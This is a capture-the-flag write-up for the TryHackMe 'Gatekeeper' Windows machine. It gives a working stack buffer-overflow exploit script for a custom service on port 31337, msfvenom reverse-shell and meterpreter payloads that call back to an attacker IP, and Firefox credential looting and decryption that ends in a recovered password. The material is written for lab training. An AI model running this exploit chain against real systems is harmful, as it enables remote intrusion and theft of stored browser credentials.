A medium Windows box from TryHackMe, exploit a service vulnerable to buffer overflow for initial access, then extract credentials from firefox to get root.

Recon

Start with an nmap

sudo nmap -sC -sV -Pn 10.10.204.215
Nmap scan report for 10.10.204.215  
Host is up (0.29s latency).  
Not shown: 989 closed tcp ports (reset)  
PORT      STATE SERVICE            VERSION  
135/tcp   open  msrpc              Microsoft Windows RPC  
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)  
3389/tcp  open  ssl/ms-wbt-server?  
|_ssl-date: 2022-08-13T16:31:31+00:00; 0s from scanner time.  
| ssl-cert: Subject: commonName=gatekeeper  
| Not valid before: 2022-08-12T16:18:09  
|_Not valid after:  2023-02-11T16:18:09  
| rdp-ntlm-info:    
|   Target_Name: GATEKEEPER  
|   NetBIOS_Domain_Name: GATEKEEPER  
|   NetBIOS_Computer_Name: GATEKEEPER  
|   DNS_Domain_Name: gatekeeper  
|   DNS_Computer_Name: gatekeeper  
|   Product_Version: 6.1.7601  
|_  System_Time: 2022-08-13T16:31:23+00:00  
31337/tcp open  Elite?  
| fingerprint-strings:    
|   FourOhFourRequest:    
|     Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0  
|     Hello  
49152/tcp open  msrpc              Microsoft Windows RPC  
49153/tcp open  msrpc              Microsoft Windows RPC  
49154/tcp open  msrpc              Microsoft Windows RPC  
49155/tcp open  msrpc              Microsoft Windows RPC  
49161/tcp open  msrpc              Microsoft Windows RPC  
49167/tcp open  msrpc              Microsoft Windows RPC  
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.c  
gi?new-service :  
SF-Port31337-TCP:V=7.92%I=7%D=8/13%Time=62F7D140%P=x86_64-pc-linux-gnu%r(G  
SF:etRequest,24,"Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r  
SF:(SIPOptions,142,"Hello\x20OPTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x20  
SF:Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@n  
SF:m>;tag=root\r!!!\nHello\x20To:\x20<sip:nm2@nm2>\r!!!\nHello\x20Call-ID:  
SF:\x2050000\r!!!\nHello\x20CSeq:\x2042\x20OPTIONS\r!!!\nHello\x20Max-Forw  
SF:ards:\x2070\r!!!\nHello\x20Content-Length:\x200\r!!!\nHello\x20Contact:  
SF:\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x  
SF:20\r!!!\n")%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")%r(HTT  
SF:POptions,28,"Hello\x20OPTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n"  
SF:)%r(RTSPRequest,28,"Hello\x20OPTIONS\x20/\x20RTSP/1\.0\r!!!\nHello\x20\  
SF:r!!!\n")%r(Help,F,"Hello\x20HELP\r!!!\n")%r(SSLSessionReq,C,"Hello\x20\  
SF:x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSess  
SF:ionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fou  
SF:rOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eba  
SF:k\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01de  
SF:fault!!!\n")%r(LDAPSearchReq,17,"Hello\x200\x84!!!\nHello\x20\x01!!!\n"  
SF:);  
Service Info: Host: GATEKEEPER; OS: Windows; CPE: cpe:/o:microsoft:windows  
  
Host script results:  
| smb2-time:    
|   date: 2022-08-13T16:31:23  
|_  start_date: 2022-08-13T16:17:50  
|_clock-skew: mean: 48m00s, deviation: 1h47m20s, median: 0s  
| smb-security-mode:    
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
| smb2-security-mode:    
|   2.1:    
|_    Message signing enabled but not required  
| smb-os-discovery:    
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)  
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional  
|   Computer name: gatekeeper  
|   NetBIOS computer name: GATEKEEPER\x00  
|   Workgroup: WORKGROUP\x00  
|_  System time: 2022-08-13T12:31:23-04:00  
|_nbstat: NetBIOS name: GATEKEEPER, NetBIOS user: <unknown>, NetBIOS MAC: 02:8c:40:4e:e5:67 (unknown)

There is an unidentifiable service on 31337, trying to netcat to it with

nc 10.10.204.215 31337
Hello
Hello Hello!
abc123
Hello abc123!

It just echoes our text back at us, with a hello prepended - maybe its vulnerable to buffer overflow?

Try to insert 3000 characters with

python3 -c "print('A' * 3000)"

Copying the result into the netcat session, and see that it crashes - now just need to get the executable somehow to make the payload

See that SMB is open and is able to be connected to anonymously

Enumerate the shares with

smbclient -L \\\\10.10.204.215

       Sharename       Type      Comment  
       ---------       ----      -------  
       ADMIN$          Disk      Remote Admin  
       C$              Disk      Default share  
       IPC$            IPC       Remote IPC  
       Users           Disk

Here, “Users” seems to be the most interesting

Connecting to “Users” as anonymous

smbclient \\\\10.10.204.215\\Users

See a few files with the ls command

smb: \> ls  
 .                                  DR        0  Thu May 14 21:57:08 2020  
 ..                                 DR        0  Thu May 14 21:57:08 2020  
 Default                           DHR        0  Tue Jul 14 03:07:31 2009  
 desktop.ini                       AHS      174  Tue Jul 14 00:54:24 2009  
 Share                               D        0  Thu May 14 21:58:07 2020

Inside of the Share directory, find a gatekeeper.exe file. likely the same executable listening on port 31337 that was found via nmap - download it with

smb: \> ls  
 .                                  DR        0  Thu May 14 21:57:08 2020  
 ..                                 DR        0  Thu May 14 21:57:08 2020 
 gatekeeper.exe

smb: \> get gatekeeper.exe

Exploitation

Opening up a windows 7 VM, and transferring the gatekeeper.exe file over to it

Run the executable with Immunity Debugger - brief issue with missing VCRRUNTIME140.dll - but downloading Microsoft C++ Redistributable here fixed it

Check on kali machine to make sure that I can connect, and I can

nc LOCAL_IP 31337
A
Hello A!!!

Instead of making a fuzzer script, opt to do it manually, sending increments of 100 As to the program, it crashes at 200 bytes

Now to make a pattern and find the EIP register

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600  

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

And use that as a payload to find the EIP offset in a simple script

import socket

ip = "LOCAL_IP"
port = 31337

offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
postfix = ""

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	s.connect((ip, port))
	print("Sending evil buffer...")
	s.send(bytes(buffer + "\r\n", "latin-1"))
	print("Done!")
except:
	print("Could not connect.")

Run the exe in the debugger, and run the script to find the value of the EIP register

Then find the exact EIP offset by using

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 600 -q 39654138  
[*] Exact match at offset 146

Now can check if you can control the EIP register by trying to place 4 Bs ( equivalent to 42424242 in bytecode) into it

retn = "BBBB"

And it works

Now need to find bad characters by using an array of 0x01 to 0xff

Changing the offset value in the script to 146, and set the payload to a list of all characters in that range

offset = 146
overflow = "A" * offset
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Then reset immunity, run the executable, crash it with the script, right click on the ESP register, and click Follow in Dump

The values you send should be counting up 0x01 through to 0xff in the bottom left pane

Got lucky, no bad bytes besides the always-bad nullbyte 0x00

Now need to find a jump point, where there is a JMP ESP command, so we can set the EIP register to jump to executing commands stored at the location within the ESP register

Using mona

!mona jmp -r esp -b "\x00"

Found two locations, lets pick the first one

Using address 0x080414c3 - needs to be written backwards in the script because the victim is little endien

retn = "\xc3\x14\x04\x08"

Now need to generate the payload that will be used for the reverse shell

Very important to include th EXITFUNC=thread so that it doesn’t crash the running process

msfvenom -p windows/shell_reverse_tcp LHOST=LOCAL_IP LPORT=4444 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00"

# Local IP will be replaced with VPN IP when used against the tryhackme box

It works!

Now just change the IP and shoot it at the TryHackMe box for initial access

On the box, see that it has firefox installed, as there is a firefox file in the desktop of the initial user

04/21/2020  05:00 PM             1,197 Firefox.lnk

Upgrading to a meterpreter shell to try and extract any creds within firefox

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.107.137 LPORT=8888 -f exe > rshell.exe

Then downloading it onto the target via impackets smb server

python3 /opt/impacket/examples/smbserver.py SHARE .

And on the target

copy \\10.6.107.137\SHARE\rshell.exe .

Starting up and setting up multi/hander in msfconsole, and running the exe - get a meterpreter shell

And run the firefox cred post module

meterpreter > run post/multi/gather/firefox_creds

*] Checking for Firefox profile in: C:\Users\natbat\AppData\Roaming\Mozilla\  
  
[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release  
[+] Downloaded cert9.db: /home/kali/.msf4/loot/20220813155623_default_10.10.22.137_ff.ljfn812a.cert_590881.bin  
[+] Downloaded cookies.sqlite: /home/kali/.msf4/loot/20220813155624_default_10.10.22.137_ff.ljfn812a.cook_347874.bin  
[+] Downloaded key4.db: /home/kali/.msf4/loot/20220813155626_default_10.10.22.137_ff.ljfn812a.key4_515684.bin  
[+] Downloaded logins.json: /home/kali/.msf4/loot/20220813155627_default_10.10.22.137_ff.ljfn812a.logi_112967.bin  
  
[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\rajfzh3y.default
run post/multi/gather/firefox_creds

Transfer the files from the loot directory to the local one

And then use this to decrypt them, with a quick git clone

Renaming all the looted files to what they should be called - gotten from the post module

mv 20220813155623_default_10.10.22.137_ff.ljfn812a.cert_590881.bin cert9.db

mv 20220813155624_default_10.10.22.137_ff.ljfn812a.cook_347874.bin cookies.sqlite

mv 20220813155626_default_10.10.22.137_ff.ljfn812a.key4_515684.bin key4.db

mv 20220813155627_default_10.10.22.137_ff.ljfn812a.logi_112967.bin logins.json

Then running the python script in the directory with the looted files like so

python firefox_decrypt.py .

End up with the creds

Website:   https://creds.com  
Username: 'mayor'  
Password: '8CL7O1N78MdrCIsV'

From previous enumeration, saw that “mayor” is another user, as they have a directory in C:/Users/

Can just rdp in as the mayor with the creds, and get the root flag on the desktop!